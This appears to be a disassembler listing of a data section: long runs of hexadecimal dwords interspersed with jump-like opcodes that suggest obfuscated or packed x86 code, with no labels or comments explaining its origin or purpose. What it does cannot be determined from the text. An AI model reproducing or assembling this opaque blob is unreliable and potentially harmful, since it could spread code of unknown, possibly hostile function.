		dd 281h, 80D98B00h, 0FDB8DCF1h,	0F54646Ch, 5E8DEBFh, 92000000h
		dd 72B00C2Ah, 2850Fh, 5B510000h, 0F3BF0F58h, 0FE9h, 0D41DD100h
		dd 38AEA3B3h, 67F3B147h, 3AE20997h, 0A43FBE66h,	850FC78Bh
		dd 0Ch,	68F0Fh,	860F0000h, 0
		dd 0CBB70F60h, 0AE8h, 1620A800h, 1177682h, 0FF2F2E7h, 85h
		dd 0F5615900h, 2860Fh, 7DB60000h, 0BF6672B3h, 13E8B4DCh
		dd 0F9000000h, 0F5913D68h, 81096447h, 0BA000833h, 0CA83AAEAh
		dd 0EDBB36D5h, 585A31EBh, 60F1DA80h, 9E983B6h, 0DD000000h
		dd 38137D73h, 1C566DF2h, 0CE961h, 46470000h, 801D651Ch
		dd 0C55A1688h, 0E08187E0h, 0A9E49D5h, 0A502D2BAh, 0B2CF815Fh
		dd 600A4C03h, 68F0Fh, 8F0F0000h, 0
		dd 54CBE60h, 860F6280h,	0
		dd 0F0806161h, 38F0F7Ah, 0F000000h, 0D380DFBFh,	0C880600Ch
		dd 0BE960AEh, 0B8000000h, 8CBF4C1h, 32D78B28h, 0BE668DCCh
		dd 6161BA45h, 1A8E0Fh, 0E9500000h, 13h,	4FAB25DDh, 0C05436B9h
		dd 23D22A40h, 236B1089h, 5F3C63B0h, 66D08B66h, 58A6E181h
		dd 4850Fh, 8B530000h, 0C2815BFAh, 0F08D69Eh, 9E8h, 4356BA00h
		dd 9CCEAB7Eh, 98B90A9Ch, 5B054BE3h, 0EE8h, 80605100h, 0A50460F5h
		dd 35EFFDEh, 0BA35E4A9h, 46C9E030h, 28F0F58h, 8B000000h
		dd 57FB8BFAh, 6810Fh, 880F0000h, 0
		dd 0EE958h, 0C9E50000h,	5841C7EAh, 5FD20EEFh, 0C1D52720h
		dd 7BE1BB9h, 0DC4DB829h, 10E900F6h, 0F8000000h,	51300317h
		dd 8900CD49h, 77BBE307h, 8112FB49h, 888285C8h, 5800F39h
		dd 66000000h, 31C1C281h, 2A369FB9h, 8870F47h, 53000000h
		dd 810Fh, 0F5590000h, 4810Fh, 0BA660000h, 11E9E505h, 9B000000h
		dd 0BE0F2242h, 19B73336h, 0E0A0E0C8h, 75DA91C8h, 10E9h
		dd 2E031500h, 15CF39A9h, 81DA85EFh, 6D89F61Eh, 0FC58A9Bh
		dd 1686h, 11E900h, 0C6FA0000h, 1D12BA58h, 8C0A0E17h, 0A13DB8A2h
		dd 531C9553h, 8B665AF5h, 12850FDFh, 0E8000000h,	6, 0FD2015C6h
		dd 8F0FFB44h, 0
aYf9cs		db 'Yf¿9—é',0Dh,0
		dd 27370000h, 0A7A984C2h, 62AFABC5h, 66B2B821h,	9D98C081h
		dd 10E9h, 4FF94F00h, 7CA66A27h,	0C3479A20h, 5B2D98AEh
		dd 81666074h, 664989EEh, 0B1A3EA81h, 0AE961h, 38180000h
		dd 3DE78201h, 0F1DB99C6h, 0CE8166F8h, 0DE9B63Ch, 2000000h
		dd 0BE291C2Ah, 131F23A8h, 3FDDB8C2h, 0E980C78Bh, 0C2BF0F01h
		dd 12E9h, 0C009C500h, 0AA461AFh, 0D4A184FAh, 0B6F15927h
		dd 560D83A3h, 5BDDF680h, 7E9h, 0EE888800h, 74C66E2Eh, 0E9CA8B60h
		dd 11h,	9746045h, 0E3C21471h, 0F5D5C3C4h, 501008A3h, 0BF0F6193h
		dd 0CE9C7h, 77C40000h, 0D943E788h, 111A3B97h, 0BA66E06Ah
		dd 8C0F63F3h, 6, 0B529D681h, 0BF0F2645h, 0AE9F9h, 0CC5B0000h
		dd 0B2641AC4h, 47791659h, 5830FF5h, 66000000h, 0C242EF81h
		dd 0FE9h, 7FC50300h, 1C07DCAEh,	549DE654h, 0FA1CADE1h
		dd 2FCB8160h, 613B4B10h, 12E9h,	0D7F3A100h, 0E1BA11CAh
		dd 69F9119Bh, 75538129h, 0B2578460h, 9E989h, 848D0000h
		dd 138EC0A2h, 0B3A24C03h, 0BA6651EBh, 0BE5AEFC7h, 1ED397F4h
		dd 10800FFCh, 0E9000000h, 0Bh, 2AF691CCh, 0D636DBC8h, 0BE875606h
		dd 3D07F28Dh, 59AEB750h, 12E945B2h, 0ED000000h,	0F2560B58h
		dd 0CA50F18Bh, 34097184h, 0C392FBC9h, 0FA8B600Bh, 0A56569BFh
		dd 0C180613Ah, 0B778B224h, 2860FA6h, 8B000000h,	1890FD1h
		dd 0F9000000h, 10E8h, 182AE600h, 0D9EECDF7h, 543E2A14h
		dd 0FE09EB08h, 11E8E7h,	47A40000h, 73DED1FDh, 2CF6BB34h
		dd 9A26F93h, 0F856307h,	88h, 0F595B00h,	6660F1B7h, 0E961C38Bh
		dd 6, 4D21D116h, 0C9803237h, 4840FE5h, 66000000h, 0FD9D0BEh
		dd 1385h, 0EE900h, 6D2B0000h, 0A65AF135h, 0B543232Ch, 0F84B4339h
		dd 48C0Fh, 0BB660000h, 816071FFh, 0A533A6D9h, 28E0F7Dh
		dd 8A000000h, 0E96061C6h, 11h, 0C413308h, 29368411h, 0F534D500h
		dd 4A9752ECh, 6661F903h, 11BCEA81h, 138A0Fh, 7E80000h
		dd 0A8000000h, 0B6730097h, 800F83EDh, 0
		dd 39E08159h, 0F176353h, 683h, 0A1DB8100h, 0F878AC8Eh
		dd 42C18166h, 8B60507Ah, 0F5861D6h, 8166F8BFh, 521D60EFh
		dd 2830Fh, 1B40000h, 1FBA575Bh,	5A318CD3h, 0A1C6BE66h
		dd 877BF9BAh, 11E93Ch, 162A0000h, 4BB32D4h, 0B1FC0C96h
		dd 3472FE9Ah, 0B26C26F8h, 0FE9A1h, 78200000h, 2604CB50h
		dd 61DAE570h, 0CD5E6169h, 11E9CFh, 0CAC40000h, 0FF7A5440h
		dd 0BAAF13DAh, 0DDBBB19Fh, 0F28AB30h, 280h, 66CB8B00h
		dd 60734ABEh, 5FF557FCh, 8B506061h, 0EE858F2h, 14000000h
		dd 0A7AA96BAh, 0C203C98Ch, 0BFB5048h, 830FCBh, 5F000000h
		dd 0FA8B6061h, 0DF8B61F5h, 8ACB8AF9h, 0C28166C3h, 8A0F8FC7h
		dd 0Ch,	68C0Fh,	8D0F0000h, 0
		dd 205ED0BAh, 0EE964h, 0B12A0000h, 39A23F58h, 7F5A10D2h
		dd 4B6282Dh, 60C7B70Fh,	11E9h, 7D28600h, 0AB84962h, 0ACAB6B6h
		dd 24B7D820h, 0BE9F4A1h, 83000000h, 0F65802E6h,	0D4284B13h
		dd 0F61931Ch, 985h, 38B0F00h, 66000000h, 8166F88Bh, 662D26D7h
		dd 0F8F158B8h, 2810FFCh, 0B5000000h, 5E878h, 81A0000h
		dd 0B34DCF61h, 9E958C3h, 89000000h, 2CCFDA93h, 99442B9Ah
		dd 0BAF88B66h, 9DBA7A5h, 0EE8h,	8E22FB00h, 7A21545Dh, 1A4E4E3Ah
		dd 806486B6h, 81599EF7h, 183D98D9h, 94BA6676h, 38A0F30h
		dd 66000000h, 840FC68Bh, 3, 66CBB70Fh, 81CC48BFh, 9F7728EBh
		dd 0E9C28B64h, 10h, 0A3494FBBh,	0B2E80F7Ch, 0CD488595h
		dd 0CAA0AA89h, 8FC18160h, 0F06CC6Fh, 86h, 5E96100h, 5B000000h
		dd 21E8B419h, 0DE857h, 50F40000h, 46E715F7h, 6F61A8BCh
		dd 5FA481E0h, 0CE81665Bh, 0BF0F7EB8h, 46F681C2h, 0F0283FAh
		dd 48Ch, 2FB96600h, 0FC18B54h, 68Fh, 0D2CF8100h, 66010BB6h
		dd 0B149E681h, 0AE8h, 0D6A5C00h, 999BE9D9h, 6075B326h
		dd 0BF77E280h, 27BE3775h, 8B665B61h, 0E08166FEh, 0BB665309h
		dd 20BAE092h, 0E9203D86h, 0Bh, 0E272B4DBh, 94B09ED5h, 0E9A2848Dh
		dd 0Ah,	62CDB2Eh, 0CB444D5Ch, 0BB667A38h, 60F55A22h, 3EE08166h
		dd 2830F2Ah, 8B000000h,	0D98B61DEh, 12E8h, 94856900h, 7A1580C0h
		dd 7137D2D6h, 7AEAEA7Ah, 0E8BBEAB5h, 6,	54A8B9F9h, 10E95542h
		dd 78000000h, 6B2246C5h, 0DFD34495h, 4DA9BA09h,	58E294AFh
		dd 0C6B96059h, 5052267Fh, 850Fh, 615B0000h, 0AE8h, 0D9593F00h
		dd 8FEB96DDh, 666EF41Eh, 5359D08Bh, 89E68166h, 55B55A9Dh
		dd 5E8h, 0DCA64A00h, 6659521Fh,	9DEAE181h, 0E861F860h
		dd 0Bh,	3EC9B1BDh, 0D75FDF79h, 81664D96h
		db 0C3h, 26h, 99h
byte_5D4D5B	db 84h			; DATA XREF: ___:off_43162Co
		dd 6E85908h, 1A000000h,	8506D78Fh, 0AE9FBh, 91BC0000h
		dd 81D0E5C6h, 6F58C134h, 66C8B659h, 66296DBFh, 99C3E281h
		dd 62A778BEh, 0B9DC8A1Ah, 77C5C25h, 8E8h, 0FED01C00h, 2996DBE8h
		dd 0D6B70FA0h, 0DE95Ah,	3CD40000h, 7DDD9667h, 2A62AE2Dh
		dd 0E9B8B7FCh, 0Dh, 97041AE4h, 0DBFA0BBCh, 181AD098h, 6DF281C7h
		dd 0B8421676h, 460048E7h, 81662FB7h, 0FCFC5DD3h, 327EBB66h
		dd 0EE8h, 288ABD00h, 4D6A1CFDh,	0AC3A10F2h, 664D1EA6h
		dd 0B95BCE8Bh, 4DA9C3E0h, 0BFCE8166h, 0E8F5F97Dh, 0Bh
		dd 54E5C24Eh, 6FA76389h, 6655AE56h, 0E95FC88Bh,	7, 22C8FB6Fh
		dd 812E528Dh, 497E6DC8h, 8180B51Bh, 0C76D52CAh,	3800F68h
		dd 66000000h, 14E9D78Bh, 0E5000000h, 6732E88Fh,	0B369137Ch
		dd 9B696BA6h, 3707419h,	81F4951Bh, 0A35279C8h, 60D58A32h
		dd 6660CF8Bh, 8166FA8Bh, 617F08EFh, 5E961h, 0E44E0000h
		dd 66F00750h, 0E90EBDB9h, 0Eh, 6FFF35BBh, 0C2D6EA9Eh, 64C0189Dh
		dd 81666CE0h, 8172F8D7h, 610779DBh, 0E9F38B3Bh,	14h, 48C9461h
		dd 3547AC11h, 0A2E2E1E3h, 76853BEh, 215A2A18h, 0A3DB8166h
		dd 0DBBF0F33h, 9870Fh, 850F0000h, 3, 606CEE80h,	0FCC88B66h
		dd 0EE961h, 57630000h, 43DDB4ECh, 76A0668Fh, 0D58080E5h
		dd 0DE9h, 7775E800h, 0F3C49353h, 5C951388h, 0E960E5AAh
		dd 6, 0E5720987h, 0BA66DDC4h, 0F6101A9h, 588h, 2718B800h
		dd 63BF7BDBh, 0E82D3899h, 6, 31BC2554h,	0C9B9D169h, 594F819Ch
		dd 0CA816660h, 0E860B840h, 6, 3A4B9540h, 665FD555h, 6EB2EA81h
		dd 0F606161h, 68Bh, 4DC08100h, 8158ECF3h, 1B8545C8h, 8B666164h
		dd 816660D8h, 61F99DE3h, 8166DE8Ah, 812ED1F1h, 0CE75EACEh
		dd 0A860F7Bh, 60000000h, 4FCF5DBFh, 0C6B70F27h,	0E7816661h
		dd 81663E33h, 0FBAE0E7h, 0E781CFBFh, 46322054h,	80F18B66h
		dd 8ABE7DD8h, 0B41D8DD7h, 8E9CAh, 42AA0000h, 289700DBh
		dd 0C18B3160h, 0EE831B0h, 0DD000000h, 132FB9C6h, 0D10D52D2h
		dd 0C699FB4Eh, 0D1E080BDh, 6CB86658h, 11E91Fh, 5E7E0000h
		dd 70C2F4Ch, 0FAA2864Ch, 0FCA3C9ECh, 0F5EDAE7Eh, 4800Fh
		dd 0B9660000h, 880F0160h, 2, 8F0FCE8Bh,	13h, 0EE9h, 0DC358600h
		dd 1330D574h, 4E4AD8DDh, 0E81D1C5Eh, 0Ch, 81CFBE3h, 5B1BF9C3h
		dd 82DCBB2Ah, 592FE080h, 0FA8B66FCh, 6E8h, 27EAA900h, 0FFA049Fh
		dd 0F85FF6BFh, 8E9h, 0F947A00h,	0D816C6F0h, 15BA665Dh
		dd 12E9D5h, 9CDC0000h, 442A1A4Ah, 0CC0A4E3Eh, 1355B045h
		dd 4E42CFD0h, 0D38BDC8Ah, 0E8DF8BF5h, 0Eh, 0BEED93CAh
		dd 59F5EB04h, 56B66A17h, 0B70FE2B7h, 0FF85BCEh,	14E9D0BFh
		dd 0D6000000h, 16FAEC5Dh, 7A28C1A4h, 39D00D6Bh,	81CBFB10h
		dd 0E82FD59Dh, 13h, 0D00E5D98h,	406011F0h, 0CF647D8Ah
		dd 9CBEB596h, 0F2A20ACh, 281h, 58D08B00h, 0B494BA66h, 0FCC38B66h
		dd 6E9h, 452EC700h, 8BE6C08Ah, 8BDE8AF8h, 15800FDEh, 0F000000h
		dd 0F89h, 9E800h, 19360000h, 9200F079h,	5AA8DBAAh, 1F8A0Fh
		dd 0E9600000h, 12h, 2366A036h, 1E017CBDh, 5721FB76h, 7BD01F2Ah
		dd 0C78127C5h, 177AE78Ch, 0F8B86661h, 766CBF4Fh, 81665D38h
		dd 662AEFF1h, 0AEBAC781h, 0FF28B66h, 880h, 2890F00h, 0B2000000h
		dd 6689B258h, 6027F181h, 0BBF98B66h, 51E7968Ch,	0DE9h
		dd 6DF6DA00h, 0DC73E612h, 0A0C7A35Ah, 0BE95A01h, 3F000000h
		dd 0C827DD30h, 0BD1157AEh, 8B664592h, 32B966FAh, 0BFD0812Bh
		dd 8B2F61CFh, 0D78B66DEh, 11E960h, 8F950000h, 5EFD2218h
		dd 0D5EB24B1h, 761FE0EDh, 0F996CACAh, 0C7816661h, 0BA537C56h
		dd 5F1F4579h, 0FC8A605Bh, 20F9B966h, 0FA8B6661h, 8BF6F081h
		dd 70B54263h, 61D98A60h, 810FD78Bh, 0Dh, 880F60h, 0B9000000h
		dd 767B7EC3h, 11E861h, 91FC0000h, 9CDC5D86h, 442A1A4Ah
		dd 0CC0A4E3Eh, 6655B045h, 1EEFD281h, 880F5Fh, 56000000h
		dd 0BFB0BE66h, 3CD5BE5Ah, 11E937CFh, 7A000000h,	0D60656B7h
		dd 8EE11756h, 0F8B072A2h, 75EF85B2h, 0D4E18166h, 0C681F82Dh
		dd 6E4F89FEh, 19850Fh, 14E90000h, 4C000000h, 0AE1FC84Eh
		dd 0DEDF0BCh, 0D92B592h, 0F7972591h, 606A2ED2h,	0D8808BB1h
		dd 6E8612Fh, 9F000000h,	42D3994Eh, 10E8AAh, 0E1D40000h
		dd 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 5F581F7Fh, 0FA6C680h
		dd 18Eh, 0C081FC00h, 521A83EAh,	0E9F960F5h, 14h, 0F37BF6F0h
		dd 0E89AD391h, 0D95B4097h, 0E56423FFh, 9CE86986h, 12E961h
		dd 69DA0000h, 9ACFB8B4h, 0B80286ACh, 0EC4A469Dh, 35C8B439h
		dd 8890Fh, 66600000h, 51ACC1B9h, 0EF8A615Fh, 0EE9h, 319BC100h
		dd 0B224728Eh, 4D2ABD19h, 0B9195A32h, 0C7E8E99h, 0FC9BF0Fh
		dd 8A0FD7BFh, 14h, 0FE9h, 75F03400h, 13FBF88Fh,	355DC9FEh
		dd 0C9ADBCE1h, 12E8h, 0CE13CB00h, 0F2871434h, 0E167ED52h
		dd 957610BEh, 0F216921h, 28Dh, 5BC38A00h, 5800Fh, 81660000h
		dd 0F6855E1h, 0D8Fh, 8E900h, 668F0000h,	80E576A0h, 0C980D580h
		dd 0D18B66EFh, 1B850Fh,	13E80000h, 0A3000000h, 0CAC8B30Bh
		dd 0AF2EF6Ch, 2B5B7A78h, 391B67A7h, 0CF8BBF39h,	0F860515Fh
		dd 5A6143B5h, 17840Fh, 0E8530000h, 0Fh,	0B093BF31h, 50CAB4F3h
		dd 5942704Dh, 58487DC6h, 0C480565Ah, 4DBB5AD5h,	0F0EE95Dh
		dd 8166D1B7h, 8A9F90C9h, 0EE8E7h, 98C30000h, 0FE3FB28h
		dd 518A3CC9h, 0B36F0A03h, 0CAB70F51h, 65B05B5Fh, 0DE9FCh
		dd 0D8820000h, 0EECB6229h, 5806F0CFh, 0E96AEAFAh, 12h
		dd 4420C612h, 43B89FCh,	0A3A83E16h, 8F22C2CDh, 7E95FEFh
		dd 65000000h, 90BD2F83h, 0B70FD06Eh, 0AE10BFD2h, 9E93A82h
		dd 5A000000h, 706786CBh, 0D2B5D2BCh, 0F60FB8Bh,	288h, 0E835B000h
		dd 0Ah,	0B67E54B4h, 0B1790802h,	0B866F8CDh, 6159076Ch
		dd 0C25BD881h, 870F1679h, 3, 80D8B70Fh,	0DE977CEh, 71000000h
		dd 0C9A501E5h, 85A360AAh, 0B947F076h, 66F8B70Fh, 81730CB9h
		dd 0AF61ECCFh, 0CC2812Ah, 8171CC4Ch, 339B84C6h,	97CD8060h
		dd 7E8h, 19F89D00h, 0E1A5E99Bh,	108A0Fh, 0AE80000h, 0C6000000h
		dd 30697E11h, 0F183A7C7h, 0E95F5A38h, 13h, 45F0E4EEh, 4CD03A5Ch
		dd 4AF6F199h, 0A077CCBCh, 0E86B5951h, 0Eh, 9C6D30AFh, 0DC874EE5h
		dd 0BC068C2Eh, 810FD9E8h, 0
		dd 54C6815Bh, 8B300EF8h, 0DCCEBFDAh, 0FE91870h,	2A000000h
		dd 0C0341AF4h, 351328E0h, 32B12447h, 14E9AC16h,	51000000h
		dd 5CEE061Eh, 0D6EB0F95h, 0D628CD61h, 58E8B570h, 0F4B8B3Ch
		dd 198Ah, 0EE800h, 1B8C0000h, 0A37B462Ch, 4F7A44F6h, 0CC24341Eh
		dd 0A0FAC0BFh, 0B70F5F08h, 0CF8B66DAh, 181BA66h, 0FDFBF0Fh
		dd 68Ch, 0C2F68100h, 0F7F54ABh,	188Ch, 12800F00h, 0E9000000h
		dd 0Dh,	0C637716Ah, 16424733h, 0EEA863FCh, 91C5800Eh, 81EED280h
		dd 6D1ACBD8h, 0D7816619h, 57F52603h, 13E9h, 0F7599500h
		dd 53EFD354h, 1075830Bh, 6D910527h, 0A5B41433h,	8E0F565Eh
		dd 3, 58D9BF0Fh, 11E9h,	0F05CD00h, 0DCB35FDBh, 98ECBB9Ah
		dd 27A5FF4Bh, 5CB86300h, 0F84BBB49h, 0C54ABE66h, 840F56F5h
		dd 4, 9268BB66h, 6E86058h, 0A2000000h, 0EEA3735Bh, 830FD7h
		dd 5E000000h, 0E9C28061h, 80DA8B66h, 0CFB9EEE8h, 665148FCh
		dd 0DE81D38Bh, 2EA2AF85h, 0F560F1B7h, 61D6B70Fh, 2131BFFCh
		dd 0D0805E63h, 0C1B70FA6h, 7DC680F8h, 0FE8h, 27D09B00h
		dd 6D547945h, 0A3D09778h, 0A17E19B5h, 5F83B551h, 38C0F5Fh
		dd 80000000h, 60B347EFh, 0FCD1B70Fh, 3FD2EF81h,	8E919EAh
		dd 0AA000000h, 8766D12h, 6696A46Dh, 0D081DE8Bh,	585BF1ADh
		dd 28D0Fh, 2CB30000h, 1890Fh, 66F90000h, 0C859EF81h, 0DE953h
		dd 9C810000h, 3002CEF9h, 0D542D426h, 5B061BFEh,	0DBEB8166h
		dd 0B86660A7h, 8B665704h, 0D48A61C3h, 0AE8CE8Bh, 67000000h
		dd 7A2DB159h, 2CA9FBBEh, 28A0FECh, 60000000h, 0B70F5E61h
		dd 158E0FF0h, 0E9000000h, 10h, 0E895B7CFh, 2047F138h, 0D3DB537Fh
		dd 73F2EE04h, 850FF48Ah, 3, 0FC78B66h, 68Ch, 0D1F18100h
		dd 0F29DC14h, 38Dh, 0D2B70F00h,	28BA6657h, 8FBA5FDAh, 0E97FBE47h
		dd 12h,	0F81CDB0h, 7F9EAA27h, 92BBA041h, 39AEB283h, 0B260D7D6h
		dd 0EE9615Fh, 7D000000h, 0EBD95F81h, 4BF17428h,	0B57CB106h
		dd 13E95Ch, 69950000h, 8249BC1Dh, 0E1C8505Fh, 3FB1DB59h
		dd 0E7BBF3C5h, 29B9669Ch, 9E870h, 0A9FC0000h, 338349EFh
		dd 0FD0C452h, 58Dh, 0EA816600h,	0B25967BBh, 0D08B6084h
		dd 0E861A3B3h, 7, 29839FFCh, 0E9356D2Bh, 11h, 8469CA5Fh
		dd 0F7F9E7CEh, 0FDBC11F4h, 0FE6864C8h, 0B70F5930h, 0C38166F6h
		dd 0F601DA2h, 0E961CFBFh, 6, 0B66E9E8Bh, 0EE983B2h, 0DE000000h
		dd 6221AC0Bh, 3FA9AC53h, 0FE25C0Dh, 32F1817Eh, 0BE754C8Bh
		dd 11FD810Ch, 3DB6F98Bh, 0E9CBB70Fh, 13h, 27205FD2h, 406FC1D5h
		dd 0B78F1C3h, 1AB60636h, 0FD4EE4Eh, 0C8Eh, 6870F00h, 0F000000h
		dd 80h,	90A7BE00h, 0BE667417h, 8B66D9D4h, 0E38166C7h, 0CA804C05h
		dd 7840FF1h, 0F000000h,	183h, 0EC80F900h, 0E9606026h, 13h
		dd 1E131B31h, 603D7150h, 0CAC985FCh, 0A2727453h, 0E9B9A9AEh
		dd 9, 1EFF9E2Ah, 55F17664h, 0E960615Ah,	0Ch, 0ADEE1945h
		dd 17EC2813h, 0B4296227h, 0DF8B6161h, 17C480FCh, 9C36BF66h
		dd 0BE66C78Bh, 0D880782Fh, 68C0FC3h, 0F000000h,	81h, 0C880F500h
		dd 8800F15h, 0F000000h,	28Fh, 0FF08B00h, 0C980FEB7h, 890F66h
		dd 81000000h, 5CD60CD1h, 0BF0F6023h, 0BF6657CFh, 615F5618h
		dd 81C28B66h, 0B69108F6h, 0AE96Bh, 0FCD70000h, 98E20752h
		dd 1027F571h, 5850Fh, 81660000h, 0E93EDBF0h, 0Ah, 385BF1E4h
		dd 8E0AA0EAh, 27BA0EF5h, 6017ECDDh, 0EE9h, 288F2500h, 0CC8B7F08h
		dd 510994h, 80186C6Dh, 666131CEh, 0BFD728B9h, 24E1E72Fh
		dd 80F0BF0Fh, 820F2CDCh, 2, 19B9C8B1h, 0E8333B84h, 0Eh
		dd 31A3D53h, 0B935A505h, 4180ACFCh, 0B95AF4A3h,	17346F1Ch
		dd 12E9h, 0B927F400h, 0A8440C9Eh, 0C8F5F839h, 695EE56Ch
		dd 0F2EC5D0h, 0E781D2B7h, 6DAC34E8h, 0FEBF0F60h, 0EE9h
		dd 7C814800h, 689EBD65h, 0BB63BDA8h, 61AD96F7h,	0B55A50F5h
		dd 12E982h, 9C560000h, 24A56AC4h, 92972A1Fh, 68E2F727h
		dd 9F644DFCh, 13860Fh, 0EE90000h, 99000000h, 99B05934h
		dd 0F653AC1Dh, 9E3D6FB4h, 0AE9E8h, 0D910000h, 200000Eh
		dd 0F4C5F662h, 0E9DA8B66h, 9, 8FB14B5Ah, 9B656A04h, 13E915h
		dd 91500000h, 6B980CF2h, 439FBC6Bh, 0EBB9FA51h,	674AE348h
		dd 830FC4h, 66000000h, 0F55E9BB8h, 80DE8B66h, 5BFACD3h
		dd 8036A9B9h, 0EE98BF4h, 0C0000000h, 592E337Fh,	5C4A969Ah
		dd 0BAF70FD1h, 9E85697h, 0AD000000h, 32ABA2F1h,	1753FB38h
		dd 93FEF181h, 5A5907A6h, 1A15E781h, 0D98B42B6h,	66F2BF0Fh
		dd 0E850F78Bh, 11h, 18E7B741h, 0E6F4160Ah, 8D308F3Dh, 0B7257168h
		dd 5EF38B6Bh, 17C28058h, 0B70F5E57h, 0CF8B66FAh, 81C7B70Fh
		dd 2EE923CAh, 71DD8013h, 7E9D98Bh, 0AD000000h, 8A65F30Fh
		dd 0FFC12E0h, 0E853F8BFh, 13h, 47B232D5h, 93CCB86Bh, 0BC8FF90Fh
		dd 42980DC3h, 81AD49F1h, 38B453EAh, 66595A3Bh, 0F6043BEh
		dd 6660DBB7h, 745DDE81h, 0BE9h,	0D3B8F800h, 62651B73h
		dd 860E5B6Fh, 37B86661h, 0F20B362h, 1A8Bh, 11E800h, 85330000h
		dd 3821E246h, 704EC4C0h, 796B965Dh, 6693E102h, 605AFB8Bh
		dd 11E957h, 45B90000h, 0B4E61DDBh, 6347FA1Fh, 89F8AD45h
		dd 58ED632Fh, 8F0F56h, 58000000h, 9CCA8061h, 1840Fh, 8AF90000h
		dd 0D18B66FDh, 0FE8h, 0BBBE3A00h, 0FEDCB700h, 0D100455Ch
		dd 79A60EBh, 0A7D78160h, 60624E72h, 0B25E6161h,	0C6BF0F96h
		dd 8F0Fh, 81660000h, 817E23C3h,	5767F3D3h, 0DABB667Bh
		dd 0DA8B66E4h, 9E9h, 0C29B5C00h, 47D48170h, 0E95372ADh
		dd 14h,	9CE95066h, 357670C1h, 10699ECCh, 0FBB1DF8Bh, 9FE42BFAh
		dd 0C8B9665Fh, 6C0807Fh, 0CAB70F60h, 0CF9B861h,	850F5829h
		dd 16h,	11E9h, 3AAF9300h, 0AC54B2A1h, 82D82538h, 1F581198h
		dd 8A0F773Eh, 17h, 12E9h, 875C6000h, 7B5F134Ah,	0A3C3AAAAh
		dd 29F3133Eh, 66BD643Bh, 0A046C981h, 0BA668DB6h, 0DE90AD4h
		dd 37000000h, 2CE81997h, 3CAD011Dh, 4A55610Eh, 0EE8F8h
		dd 98DC0000h, 0AD04281Bh, 0F195C641h, 20E6C1BAh, 59C0EB80h
		dd 2688BB66h, 8B76C980h, 0FBB70FD0h, 4850Fh, 0BB660000h
		dd 0E9600A14h, 0Dh, 7D0A39AAh, 0B22DB9E4h, 0F4D807A8h
		dd 0F9BF0FF0h, 8BC38B61h, 6655B6D7h, 0F3CCABFh,	80F5D8B7h
		dd 0E85664F1h, 10h, 0DAEDEF2h, 0FD374E55h, 22AC3641h, 0B1337849h
		dd 0CE8h, 0FD0D300h, 6605AAFCh,	1D80F83Eh, 585E590Dh, 11E9h
		dd 2AA7B800h, 0D9B8CE4Fh, 673A6DEEh, 2B2601F4h,	8166AF40h
		dd 6642BFC7h, 0BAA883B8h, 1D8A59FDh, 8E0F8DB0h,	0
		dd 68F0Fh, 0E7810000h, 1655F45Dh, 0AAE4BF66h, 9E9h, 0E12F1700h
		dd 0C5DC3476h, 0D9806972h, 8BD1B577h, 0CB8166D0h, 0FE92C2Fh
		dd 3D000000h, 29E8ECEBh, 84A7B252h, 1ACB1E7Ch, 0B8663541h
		dd 810FAA29h, 3, 0E814F680h, 8,	0CCAEAFA7h, 6472CE29h
		dd 66585BB4h, 7E9C68Bh,	7000000h, 0F57198E2h, 0BA661027h
		dd 12E88634h, 13000000h, 0E1DC30D8h, 4FDFE9A5h,	0CF6CAAADh
		dd 0FEBAACAEh, 1AD8BF92h, 0E9581FA4h, 0Eh, 95FA85CFh, 0B669BC3Dh
		dd 0E2AEAD4Bh, 9AB92B79h, 0F158D91h, 3EBAD2BFh,	0F4B9EE6h
		dd 0A87h, 4810F00h, 66000000h, 0F9CD4BAh, 2889h, 11E800h
		dd 90B60000h, 0F29EC761h, 27A3FA43h, 0E300A77Eh, 0E8433302h
		dd 0Bh,	7272A449h, 2541AAE0h, 5BFD82C7h, 8166535Bh, 58D0E5DFh
		dd 0C9BF0FF5h, 0C7BF0F60h, 61D0B70Fh, 0B952FB8Bh, 41312FE0h
		dd 0FE958h, 0BB330000h,	0B3FC4627h, 301F4AEBh, 6FD3D4FDh
		dd 5E962h, 88FE0000h, 0E864FE34h, 0Fh, 4CF2282h, 0B9E70E2Ah
		dd 0D8D82BDEh, 0F96A223Fh, 3648BA58h, 10E838D1h, 0B9000000h
		dd 5AD351FAh, 0D7627D50h, 0F2F87003h, 0B08FFD2Dh, 5F515E69h
		dd 13E9h, 68191700h, 54889E5Dh,	751A97E2h, 0B3FD4921h
		dd 0D38C47Ah, 0C2C08160h, 662629B5h, 76CCC881h,	18810F61h
		dd 0E9000000h, 13h, 743D1D70h, 0AA398A34h, 908CC0B0h, 0C05EAA67h
		dd 8001C96Ah, 13E854E1h, 99000000h, 75D54383h, 0BA0C54D2h
		dd 0A00166DEh, 5A98757Bh, 0BE91FF7h, 71000000h,	0E9DCB85Bh
		dd 0BD8393A0h, 805A559Ch, 0B96615D5h, 0F60584Dh, 689h
		dd 860F00h, 0B6000000h,	0BB6661A2h, 0DF8B4791h,	0E850EC80h
		dd 14h,	2B4B041Eh, 6883D037h, 694B317h,	0B07C96F4h, 69740082h
		dd 0BDBF665Fh, 19870FA7h, 0E9000000h, 14h, 6D09E8CCh, 852AF1Bh
		dd 0BCFB43A9h, 0E88280Fh, 24635815h, 10E860h, 0C4A40000h
		dd 91DB79B2h, 5C53926Bh, 82608308h, 12B624D0h, 5A52605Fh
		dd 61D18B66h, 0DBB70F61h, 11E9h, 0C3754C00h, 98E1694h
		dd 0E383F99Bh, 0BF554417h, 81662857h, 6649F4C3h, 2DF6F081h
		dd 0C9BA6660h, 8E889h, 0D5590000h, 0D9AB5F83h, 0CB8A086Fh
		dd 0D88B615Ah, 0AE9h, 7775900h,	3C8EB3B1h, 0FEB05E1h, 282h
		dd 0E9FA8B00h, 0Ah, 0C117367Ah,	42DC7B59h, 0E38A728Dh
		dd 5840Fh, 9BB90000h, 0E92241AAh, 10h, 6C41937Eh, 0CA57412Ch
		dd 69A36491h, 39B8AE23h, 0FE8h,	7350B000h, 77345F86h, 451B93F8h
		dd 0F2D45655h, 0B0DE8166h, 0BB665BC3h, 0F606DE7h, 1887h
		dd 12E800h, 5DA60000h, 0B2A909BCh, 4DC0776Ch, 6C08BFE0h
		dd 8F7A8425h, 8161F85Eh, 2BA53F7h, 2870F5Dh, 8B000000h
		dd 12E9D0h, 2D0C0000h, 0A55A167h, 0F04DD021h, 0C69F1974h
		dd 6BF89FEBh, 66C9BF0Fh, 8157AFBAh, 3D08CBD6h, 0AEEA804Bh
		dd 8057B2B1h, 0F5BB3CAh, 1485h,	0FE900h, 0A1C90000h, 95741C27h
